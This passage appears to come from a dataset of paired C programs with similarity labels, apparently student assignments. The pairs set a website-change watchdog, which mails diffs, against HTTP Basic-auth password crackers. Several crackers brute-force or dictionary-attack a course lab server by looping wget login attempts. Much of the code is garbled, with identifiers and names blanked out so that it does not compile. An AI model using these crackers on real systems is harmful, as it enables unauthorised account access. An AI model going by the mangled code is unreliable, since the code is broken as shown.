if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
int main()
{
char *wordptr = " word";
FILE *fp;
int syst = 1;
char string1[80], string2[50];
strcpy(string1, "wget --http-user= --http-passwd=");
strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");
char words[30];
fp = fopen("words", "r");
while(wordptr != NULL)
{
wordptr = fgets(words, 30, fp);
if (wordptr == NULL) exit(1);
words [ strlen(words) - 1 ] = '\0';
strcat(string1, words);
strcat(string1, string2);
printf("\n %s \n",string1);
syst = system(string1);
if (syst == 0)
{
exit(1);
}
strcpy(string1, "");
strcpy(string1, "wget --http-user= --http-passwd=");
printf("%s", words);
}
}
| 0 |
070.c | 000.c |
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
| #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
| 0 |
070.c | 023.c |
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
| #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
| 0 |
070.c | 076.c |
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#define USERNAME ""
#define URL "sec-crack.cs.rmit.edu./SEC/2"
#define TEST_URL "yallara.cs.rmit.edu./~/secure"
#define MAX_PASSWD_LEN 3
#define MAX_CHAR_SET 52
#define TRUE 1
#define FALSE 0
typedef int (*CrackFuncPtr)(const char*, const char*);
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func);
char* initPasswdStr(int len, char ch);
int getChPos(const char chSet[], int numOfCh, char ch);
int pow(int x, int y);
int crackHTTPAuth(const char *username, const char *passwd);
int ()
{
char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K',
'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z'};
char charSetS[] = {'A', 'B', 'C'};
int i;
for (i=1; i<=MAX_PASSWD_LEN; i++)
{
if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth))
{
return 0;
}
}
printf("\n...password not found\n");
return 0;
}
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func)
{
int iter;
int chIter;
int curPos = 0;
char *str;
int passwdFound = FALSE;
str = initPasswdStr(len, chSet[0]);
printf("\nNow trying %d character(s)\n", len);
for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++)
{
for (chIter=len-1; chIter>=0; chIter--)
{
if (iter % pow(numOfCh, chIter) == 0)
{
curPos = getChPos(chSet, numOfCh, str[chIter]);
str[chIter] = chSet[curPos+1];
}
if (iter % pow(numOfCh, (chIter+1)) == 0)
{
str[chIter] = chSet[0];
}
}
if (func(USERNAME, str))
{
printf("\nPassword found: %s\n", str);
passwdFound = TRUE;
}
printf(".");
}
(str);
str = NULL;
return passwdFound;
}
int getChPos(const char chSet[], int numOfCh, char ch)
{
int i;
for (i=0; i<numOfCh; i++)
{
if (chSet[i] == ch)
{
return i;
}
}
return -1;
}
char* initPasswdStr(int len, char ch)
{
int i;
char *str;
str = malloc(len);
if (str)
{
for (i=0; i<len; i++)
{
str[i] = ch;
}
str[len] = '\0';
}
else
{
fprintf(stderr, "\nError: Unable allocate %d bytes memory.");
exit(1);
}
return str;
}
int pow(int x, int y)
{
int ans = 1, i;
for (i=0; i<y; i++)
{
ans *= x;
}
return ans;
}
int crackHTTPAuth(const char *username, const char *passwd)
{
char cmd[256];
struct stat fileInfo;
sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s",
username, passwd, URL);
system(cmd);
(void)stat("", &fileInfo);
return fileInfo.st_size;
}
| 0 |
070.c | 053.c |
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
| #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>
#include<time.h>
int ()
{
int m,n,o,i;
char URL[255];
char v[3];
char temp1[100];
char temp2[100];
char temp3[250];
char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'};
time_t u1,u2;
(void) time(&u1);
strcpy(temp1,"wget --http-user= --http-passwd=");
strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
for(m=0;m<=51;m++)
{
v[0]=[m];
v[1]='\0';
v[2]='\0';
strcpy(URL,v);
printf("\nTesting with password %s\n",URL);
strcat(temp3,temp1);
strcat(temp3,URL);
strcat(temp3,temp2);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",URL);
printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}
for(n=0;n<=51;n++)
{
v[0]=[m];
v[1]=[n];
v[2]='\0';
strcpy(URL,v);
printf("\nTesting with password %s\n",URL);
strcat(temp3,temp1);
strcat(temp3,URL);
strcat(temp3,temp2);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",URL);
printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}
for(o=0;o<=51;o++)
{
v[0]=[m];
v[1]=[n];
v[2]=[o];
strcpy(URL,v);
printf("\nTesting with password %s\n",URL);
strcat(temp3,temp1);
strcat(temp3,URL);
strcat(temp3,temp2);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",URL);
printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}
}
}
}
}
| 0 |
070.c | 045.c |
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
int ()
{
int t1, t2, t;
int timeinsec, nofattempts;
char url[100], url1[80];
strcpy(url, "wget --http-user= --http-passwd=");
strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");
char word[15], *chk;
chk = "word";
FILE *fp;
int syst = 1;
fp = fopen("words", "r");
t1 = time();
while(chk != NULL)
{
chk = fgets(word, 15, fp);
if (chk == NULL) exit(1);
word [ strlen(word) - 1 ] = '\0';
strcat(url, word);
strcat(url, url1);
nofattempts = nofattempts + 1;
printf("\n %s %d\n",word,nofattempts);
if (strlen(word) == 3)
syst = system(url);
if (syst == 0)
{
t2 = time();
t = t2 - t1;
timeinsec = t/1000000000;
printf("\n !!! here's the passowrd:- %s",word);
printf("\n Total .of atempts: %d\n",nofattempts);
printf("\n The total time_var taken: %d seconds", timeinsec);
exit(1);
}
strcpy(url, "");
strcpy(url, "wget --http-user= --http-passwd=");
}
}
| 0 |
070.c | 031.c |
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
| #include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9
int ()
{ int startTime, stopTime, final;
int i,j,k;
FILE* fp;
int pass,len;
int count = 0;
char [50];
char url1[100];
char url2[100];
startTime = time();
fp = fopen("/usr/share/lib/dict/words","r");
while (fp !='\0')
{
fgets( ,50,fp);
len = strlen();
[strlen()-1] ='\0';
if(len <= 4)
{
count++;
printf("Checking for the word :%s\n",);
strcpy(url1 ,"wget --http-user= --http-passwd=");
strcat(url1,);
strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
strcat(url1,url2);
pass = system(url1);
if (pass == 0)
{
stopTime = time();
final = stopTime-startTime;
printf("\n SUCCESS\n");
printf("The password for the user : %s\n ",);
printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
printf("Number of attempts : %d\n",count);
exit(1);
}
}
}
}
| 0 |
070.c | 059.c |
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
| #include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MINSIZE 26
#define MAXSIZE 52
#define MAX_SIZE 255
int CrackPasswd(char *passwd)
{
int flag;
char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE];
strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/");
strcpy(string2," --http-user= --http-passwd='");
strcpy(,"");
strcat(, string1);
strcat(, string2);
strcat(, passwd);
strcat(, "'");
printf("Sending Request as %s\n",);
flag = system();
if (flag == 0)
{
printf("\nPassword is %s\n",passwd);
return 1;
}
strcpy(,"");
return 0;
}
int BruteForce(char *CharArray)
{
int i, j, k;
char passwd[MAX_SIZE];
for (i=0;i<MAX_SIZE;i++)
passwd[i] = '\0';
for(i=0;i<MAXSIZE;i++)
{
passwd[0] = CharArray[i];
if(CrackPasswd(passwd) == 1)
return 1;
}
for(i=0;i<MAXSIZE;i++)
{
passwd[0] = CharArray[i];
for(j=0;j<MAXSIZE;j++)
{
passwd[1] = CharArray[j];
if(CrackPasswd(passwd) == 1)
return 1;
}
}
for(i=0;i<MAXSIZE;i++)
{
passwd[0] = CharArray[i];
for(j=0;j<MAXSIZE;j++)
{
passwd[1] = CharArray[j];
for(k=0;k<MAXSIZE;k++)
{
passwd[2] = CharArray[k];
if(CrackPasswd(passwd) == 1)
return 1;
}
}
}
return 0;
}
int (int argc, char *argv[])
{
char CharArray[MAXSIZE];
char ch='a';
int i,j;
int , end;
= time();
strcpy(CharArray,"");
for (i=0;i<MINSIZE;i++)
{
CharArray[i]=ch;
ch++;
}
ch='A';
for (i=MINSIZE;i<MAXSIZE;i++)
{
CharArray[i]=ch;
ch++;
}
if (argc != 1)
{
fprintf(stdout,"Usage : ./BruteForce \n");
return(EXIT_FAILURE);
}
BruteForce(CharArray);
getpid();
end = time();
printf("Time Required = %lld msec\n",(end-)/());
return (EXIT_SUCCESS);
}
| 0 |
070.c | 043.c |
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
int ()
{
char word[15], *chk;
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir one");
system("mv www.cs.rmit.edu./images/*.* one/");
system("mv www.cs.rmit.edu./students/*.* one/");
sleep(15);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir two");
system("mv www.cs.rmit.edu./images/*.* two/");
system("mv www.cs.rmit.edu./students/*.* two/");
system("diff one two > difference.txt");
system("mailx -s \"Message1\" < difference.txt");
return 0;
}
| 0 |
070.c | 014.c |
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#define MINCHAR 65
#define MAXCHAR 122
int bruteforce_first(int passlen, int *attempts);
int bruteforce_two(int passlen, int *attempts);
int bruteforce_three(int passlen, int *attempts);
int main()
{
int i, wdlen = 1;
int runtime;
int counter ;
int initTime = 0, exitTime = 0, runTime = 0;
initTime = time();
if (bruteforce_first(wdlen, &counter) == 2) {
wdlen++;
if (bruteforce_two(wdlen, &counter) == 3) {
wdlen++;
if (bruteforce_three(wdlen, &counter) == 0)
printf("Success In Breaking The Password");
else
printf("Failure !!!!!!");
}
} else {
printf("Success In Breaking The Password");
}
exitTime = time();
runTime = (exitTime - initTime);
printf("\nNumber of attempts is... %d", counter);
printf("\nTime taken is %lld milli seconds\n", (runTime)/());
return 0;
}
int bruteforce_first(int passlen, int *attempts)
{
int i;
int j = MINCHAR;
char *str, *passwd;
str = (char *) malloc(passlen * sizeof(char));
for (i = 0; i < passlen; i++) {
str[i] = MINCHAR;
}
str[passlen] = '\0';
for (i = MINCHAR; i <= MAXCHAR; i++) {
if (i == 91)
i = i + 6;
str[passlen - 1] = i;
puts(str);
(*attempts)++;
char [100];
sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);
if (system() == 0) {
printf("Password cracked successfully:");
printf("Password is %s", str);
return 0;
}
}
return 2;
}
int bruteforce_two(int passlen, int *attempts)
{
int i;
int j = MINCHAR;
char *str, *passwd;
str = (char *) malloc(passlen * sizeof(char));
for (i = 0; i < passlen; i++) {
str[i] = MINCHAR;
}
str[passlen] = '\0';
while (str[0] != MAXCHAR + 1)
{
for (i = MINCHAR; i <= MAXCHAR; i++) {
if (i == 91)
i = i + 6;
str[passlen - 1] = i;
(*attempts)++;
puts(str);
char [100];
sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);
if (system() == 0) {
printf("Password cracked successfully: ");
printf("Password is %s", str);
return 0;
}
}
i = 0;
if (str[i] == 'Z') {
str[i] = 'a';
} else
str[i]++;
}
return 3;
}
int bruteforce_three(int passlen, int *attempts)
{
int i;
int j = MINCHAR;
char *str, *passwd;
str = (char *) malloc(passlen * sizeof(char));
for (i = 0; i < passlen; i++) {
str[i] = MINCHAR;
}
str[passlen] = '\0';
while (str[0] != MAXCHAR + 1)
{
for (i = MINCHAR; i <= MAXCHAR; i++) {
if (i == 91)
i = i + 6;
str[passlen - 1] = i;
(*attempts)++;
puts(str);
char [100];
sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);
if (system() == 0) {
printf("Password cracked successfully: ");
printf("Password is %s", str);
return 0;
}
}
i = 1;
while (i <= passlen - 1) {
if (str[passlen - i - 1] == 'z') {
str[passlen - i - 1] = MINCHAR;
str[passlen - 1 - 2]++;
break;
} else {
if (str[passlen - i - 1] == 'Z') {
str[passlen - i - 1] = 'a';
break;
} else {
str[passlen - i - 1]++;
break;
}
}
i++;
}
}
return 0;
}
| 0 |
070.c | 050.c |
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
int ()
{
FILE *fp;
char *chk,[4];
int i=1;
while (i == 1)
{
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir first");
system("mkdir second");
system("mv www.cs.rmit.edu./images/*.* first/");
system("mv www.cs.rmit.edu./students/*.* first/");
sleep(86400);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mv www.cs.rmit.edu./images/*.* second/");
system("mv www.cs.rmit.edu./students/*.* second/");
system("diff first second > imagesdifference.txt");
fp = fopen("imagesdifference.txt","r");
chk = fgets(, 4, fp);
if (strlen() != 0)
system("mailx -s \"Difference from WatchDog\" < imagesdifference.txt");
}
return 0;
}
| 0 |
070.c | 016.c |
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
| #include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/time.h>
void emptyFile(char* name)
{
FILE* myFile;
myFile = fopen(name,"w");
fclose(myFile);
}
int (void)
{
FILE* myFile;
char* myString;
myString = malloc(sizeof(char ) * 100);
emptyFile(".old.html");
emptyFile(".new.html");
system("wget -O .old.html -q http://www.cs.rmit.edu./students/");
while(1)
{
emptyFile(".new.html");
system("wget -O .new.html -q http://www.cs.rmit.edu./students/");
system("diff .old.html .new.html > watch.txt");
myFile = fopen("watch.txt","r");
if(myFile != (FILE*) NULL)
{
fgets(myString,100,myFile);
if(strlen(myString) > 0)
{
system("mail @cs.rmit.edu. < watch.txt");
system("cp .new.html .old.html");
}
}
sleep(60*60*24);
}
return 1;
}
| 0 |
070.c | 007.c |
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
| #include <sys/time.h>
#include <strings.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
int main()
{
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir home");
system("mv www.cs.rmit.edu./images/*.* home/");
system("mv www.cs.rmit.edu./students/*.* home/");
system("cd www.cs.rmit.edu./images");
sleep(1);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir second");
system("mv www.cs.rmit.edu./images/*.* second/");
system("mv www.cs.rmit.edu./students/*.* second/");
system("cd www.cs.rmit.edu./images");
system("diff home second > difference.txt");
system("mailx -s \"Difference in \" < difference.txt ");
return 0;
}
| 0 |
070.c | 054.c |
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
